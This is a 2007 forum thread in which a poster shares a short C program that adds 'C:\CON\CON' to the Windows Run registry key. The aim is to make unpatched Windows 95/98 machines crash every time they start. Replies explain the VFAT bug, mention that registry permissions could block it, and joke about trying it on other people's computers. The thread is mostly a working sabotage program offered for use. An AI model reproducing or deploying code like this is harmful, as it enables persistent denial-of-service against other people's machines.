Force Windows 95/98 to crash on startup

Discussion in 'Programming General' started by Govind, Mar 18, 2007.

Force Windows 95/98 to crash on startup
  1. Unread #1 - Mar 18, 2007 at 8:59 PM
  2. Govind
    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Force Windows 95/98 to crash on startup

    Code:
    [color=blue]#include[/color] [COLOR="DarkRed"]<windows.h>[/COLOR]
    [color=blue]int[/color] APIENTRY WinMain(HINSTANCE hInstance,
                         HINSTANCE hPrevInstance,
                         LPSTR     lpCmdLine,
                         [color=blue]int[/color]       nCmdShow)
    {
     	BYTE Data[] =[COLOR="DarkRed"] "C:\\CON\\CON"[/COLOR];
    	HKEY KeyHandle;
    	RegOpenKey(HKEY_LOCAL_MACHINE,[COLOR="DarkRed"]"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"[/COLOR],&KeyHandle);
    	RegSetValueEx(KeyHandle,[COLOR="DarkRed"]"StartupService"[/COLOR],NULL,REG_SZ,Data,11);
    	[color=blue]return[/color] 0;
    }
    Okay if you don't know: Whenever an unpatched Windows 95 or 98 machine tries to access C:\CON\CON it takes the entire OS down.

    I've added syntax coloring.
     
  3. Unread #2 - Mar 18, 2007 at 9:11 PM
  4. SidStudios
    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0

    SidStudios Active Member

    Force Windows 95/98 to crash on startup

    Basically, it disables a startup service?
     
  5. Unread #3 - Mar 18, 2007 at 9:21 PM
  6. Govind
    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Force Windows 95/98 to crash on startup

    No, it adds C:\CON\CON to the startup registry.

    VFAT collapses whenever you try that on 95/98, which causes the whole OS to crash.
     
  7. Unread #4 - Mar 18, 2007 at 9:58 PM
  8. cp
    Joined:
    Jan 30, 2007
    Posts:
    3,278
    Referrals:
    6
    Sythe Gold:
    0

    cp an cat
    Banned

    Force Windows 95/98 to crash on startup

    Don't you need admin access to get into the registry? Properly set permissions will foil this.
     
  9. Unread #5 - Mar 19, 2007 at 9:14 AM
  10. Govind
    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Force Windows 95/98 to crash on startup

    You put too much faith in the intelligence of average Windows 9x users.
     
  11. Unread #6 - Mar 19, 2007 at 10:26 AM
  12. SidStudios
    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0

    SidStudios Active Member

    Force Windows 95/98 to crash on startup

    No one uses Windows 9x anymore, unless you are trying this in a cybercafe in Goa or Bombay, where they still do use Windows 9x :O
     
  13. Unread #7 - Mar 19, 2007 at 6:18 PM
  14. Govind
    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Force Windows 95/98 to crash on startup

    Actually some of the teacher computers at my school run Windows 98. There are some people still using Windows 9x domestically too.
     
  15. Unread #8 - Mar 19, 2007 at 9:29 PM
  16. coach thorpe
    Joined:
    Dec 21, 2005
    Posts:
    1,621
    Referrals:
    3
    Sythe Gold:
    0

    coach thorpe Guru
    Banned

    Force Windows 95/98 to crash on startup

    I run 98 on all my work computers, there more stable.
     
  17. Unread #9 - Mar 19, 2007 at 10:00 PM
  18. Govind
    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Force Windows 95/98 to crash on startup

    Try running C:\CON\CON on them and see if they've patched it already :D
     
  19. Unread #10 - Mar 20, 2007 at 7:35 AM
  20. SidStudios
    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0

    SidStudios Active Member

    Force Windows 95/98 to crash on startup

    IMO Windows 2000 is better and more stable, because it runs on NTFS.
     
< 2 questions | Editing Text File >

Users viewing this thread
1 guest


 
 
Adblock breaks this site